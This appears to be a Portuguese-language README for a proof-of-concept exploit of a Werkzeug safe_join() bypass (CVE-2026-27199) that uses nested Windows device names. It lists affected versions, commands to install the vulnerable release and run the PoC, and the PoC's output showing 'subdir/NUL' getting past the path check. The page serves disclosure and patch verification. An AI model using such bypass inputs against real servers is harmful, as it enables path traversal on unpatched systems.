
Prova de conceito de exploit para CVE-2026-27199, uma bypass de safe_join() do Werkzeug em nomes de dispositivos Windows, demonstrando travessia de caminho e descarte silencioso de dados.
safe_join() do Werkzeug para Nomes de Dispositivos WindowsStatus: Divulgado publicamente. Corrigido no werkzeug 3.1.6.
Severidade: Moderada
Relator: @alimezar
Advisory: GHSA-29vq-49wr-vm6x
| Pacote | Afetado | Corrigido |
|---|
| werkzeug | < 3.1.6 | 3.1.6 |
Requisitos: Windows, Python 3.8+,
werkzeug < 3.1.6
pip install "werkzeug==3.1.5"
python poc_CVE-2026-27199.py
============================================================
CVE-2026-27199 — PoC do safe_join() do Werkzeug
============================================================
[*] Versão do Werkzeug : 3.1.5
[*] os.name : nt
[+] safe_join(base, 'NUL') -> None (bloqueado corretamente)
[!] safe_join(base, 'subdir/NUL') -> C:\...\subdir\NUL (bypass!)
[*] Tentando gravar no caminho retornado ...
[!] open(NUL aninhado) gravação: SUCESSO — dados descartados silenciosamente pelo dispositivo
[!] VULNERÁVEL: CVE-2026-27199 confirmado nesta instalação.
Atualize para werkzeug >= 3.1.6 para corrigir.
[+] safe_join(base, 'subdir/NUL') -> None (bloqueado corretamente)
[+] NÃO VULNERÁVEL: nome de dispositivo aninhado foi bloqueado.
Este PoC é publicado para fins educacionais e defensivos, seguindo divulgação responsável e disponibilidade pública do patch.